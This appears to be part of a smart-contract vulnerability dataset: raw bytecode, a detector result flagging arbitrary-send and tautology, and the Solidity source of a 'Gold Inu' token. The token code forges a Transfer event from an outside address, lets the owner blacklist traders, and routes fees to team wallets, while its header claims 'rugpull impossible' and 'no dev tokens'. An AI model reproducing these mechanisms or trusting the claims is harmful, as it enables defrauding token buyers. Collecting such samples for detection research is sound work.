ffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061487e576001600e600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600342604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600342604051808381526020018281526020019250505060405180910390a2505050565b60045481565b60226020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602c6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614ab0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615614b73576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b6038543414614bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015614ca3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b614cab6157da565b6000602c6000601554815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600b600081548092919060010191905055506040518060600160405280600115158152602001600b5481526020016000815250915081602b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602c6000600b54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6038549081150290604051600060405180830381858888f1935050505090508015614f45576001602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506005602b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410614ed65760016015600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600a42604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600a42604051808381526020018281526020019250505060405180910390a2505050565b60075481565b602b6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166150a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615615163576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f416c726561647920696e204175746f506f6f6c0000000000000000000000000081525060200191505060405180910390fd5b60335434146151da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541015615293576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d757374206e656564203020726566657272616c00000000000000000000000081525060200191505060405180910390fd5b61529b6157da565b600060226000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600660008154809291906001019190505550604051806060016040528060011515815260200160065481526020016000815250915081602160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360226000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6033549081150290604051600060405180830381858888f1935050505090508015615535576001602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506004602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106154c65760016010600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600542604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600542604051808381526020018281526020019250505060405180910390a2505050565b60115481565b600060186000601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090506000809050600485111561562e576016549050615645565b602d60008681526020019081526020016000205490505b8273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505091508115615763573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa61208742604051808381526020018281526020019250505060405180910390a360648510801561574257506001601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410155b15615759576157546001860184615597565b615762565b61576161577a565b5b5b81615773576157728584615597565b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6157bd613151565b9081150290604051600060405180830381858888f1935050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fea264697066735822122007f520bf90531c7c8a946415b742d840a79d3b9e26a5c17349997996be4bfe0d64736f6c63430006040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,778
0x5d81523c1cc006913f8ad47f7dca64207edc6b10
/** *Submitted for verification at Etherscan.io on 2021-06-13 */ /** */ /* No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Trading will be enabled AFTER liquidity lock, rugpull impossible. Total supply = liquidity = 1,000,000,000,000, initial buy limit = 2,000,000,000, permanent sell limit: 4,000,000,000 . 3% redistribution on every sell 30 seconds cooldown on each buy, 2 minutes cooldown on each sell. */ //SPDX-License-Identifier: Mines™®© pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract goldinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = 'Gold Inu'; string private constant _symbol = 'GINU'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 0; _teamFee = 10; if (from != owner() && to != owner() && from != address(this) && to != address(this)) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp, "Cooldown"); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 3; _teamFee = 9; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= 4e9 * 10**9); require(cooldown[from] < block.timestamp, "Cooldown"); cooldown[from] = block.timestamp + (2 minutes); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e9 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610398578063c9567bf9146103af578063d543dbeb146103c6578063dd62ed3e146103ef578063e8078d941461042c5761011f565b8063715018a6146102c55780638da5cb5b146102dc57806395d89b4114610307578063a9059cbb14610332578063b515566a1461036f5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610443565b6040516101469190612fd6565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b1c565b610480565b6040516101839190612fbb565b60405180910390f35b34801561019857600080fd5b506101a161049e565b6040516101ae9190613158565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612acd565b6104af565b6040516101eb9190612fbb565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612a3f565b610588565b005b34801561022957600080fd5b50610232610678565b60405161023f91906131cd565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612b99565b610681565b005b34801561027d57600080fd5b50610286610733565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612a3f565b6107a5565b6040516102bc9190613158565b60405180910390f35b3480156102d157600080fd5b506102da6107f6565b005b3480156102e857600080fd5b506102f1610949565b6040516102fe9190612eed565b60405180910390f35b34801561031357600080fd5b5061031c610972565b6040516103299190612fd6565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b1c565b6109af565b6040516103669190612fbb565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612b58565b6109cd565b005b3480156103a457600080fd5b506103ad610b1d565b005b3480156103bb57600080fd5b506103c4610b97565b005b3480156103d257600080fd5b506103ed60048036038101906103e89190612beb565b610c49565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a91565b610d92565b6040516104239190613158565b60405180910390f35b34801561043857600080fd5b50610441610e19565b005b60606040518060400160405280600881526020017f476f6c6420496e75000000000000000000000000000000000000000000000000815250905090565b600061049461048d61130a565b8484611312565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104bc8484846114dd565b61057d846104c861130a565b6105788560405180606001604052806028815260200161386860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061052e61130a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3a9092919063ffffffff16565b611312565b600190509392505050565b61059061130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610614906130d8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61068961130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070d906130d8565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077461130a565b73ffffffffffffffffffffffffffffffffffffffff161461079457600080fd5b60004790506107a281611d9e565b50565b60006107ef600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e99565b9050919050565b6107fe61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461088b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610882906130d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f47494e5500000000000000000000000000000000000000000000000000000000815250905090565b60006109c36109bc61130a565b84846114dd565b6001905092915050565b6109d561130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a59906130d8565b60405180910390fd5b60005b8151811015610b1957600160066000848481518110610aad577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b119061346e565b915050610a65565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b5e61130a565b73ffffffffffffffffffffffffffffffffffffffff1614610b7e57600080fd5b6000610b89306107a5565b9050610b9481611f07565b50565b610b9f61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c23906130d8565b60405180910390fd5b6001601160146101000a81548160ff021916908315150217905550565b610c5161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd5906130d8565b60405180910390fd5b60008111610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890613078565b60405180910390fd5b610d506064610d4283683635c9adc5dea0000061220190919063ffffffff16565b61227c90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610d879190613158565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea5906130d8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611312565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f8457600080fd5b505afa158015610f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbc9190612a68565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561101e57600080fd5b505afa158015611032573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110569190612a68565b6040518363ffffffff1660e01b8152600401611073929190612f08565b602060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c59190612a68565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061114e306107a5565b600080611159610949565b426040518863ffffffff1660e01b815260040161117b96959493929190612f5a565b6060604051808303818588803b15801561119457600080fd5b505af11580156111a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111cd9190612c14565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671bc16d674ec80000601281905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b4929190612f31565b602060405180830381600087803b1580156112ce57600080fd5b505af11580156112e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113069190612bc2565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613138565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990613038565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114d09190613158565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490613118565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490612ff8565b60405180910390fd5b60008111611600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f7906130f8565b60405180910390fd5b6000600a81905550600a600b81905550611618610949565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116865750611656610949565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116be57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116f657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c7757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561179f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117a857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118a95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118c15750601160179054906101000a900460ff165b156119c057601160149054906101000a900460ff166118df57600080fd5b6012548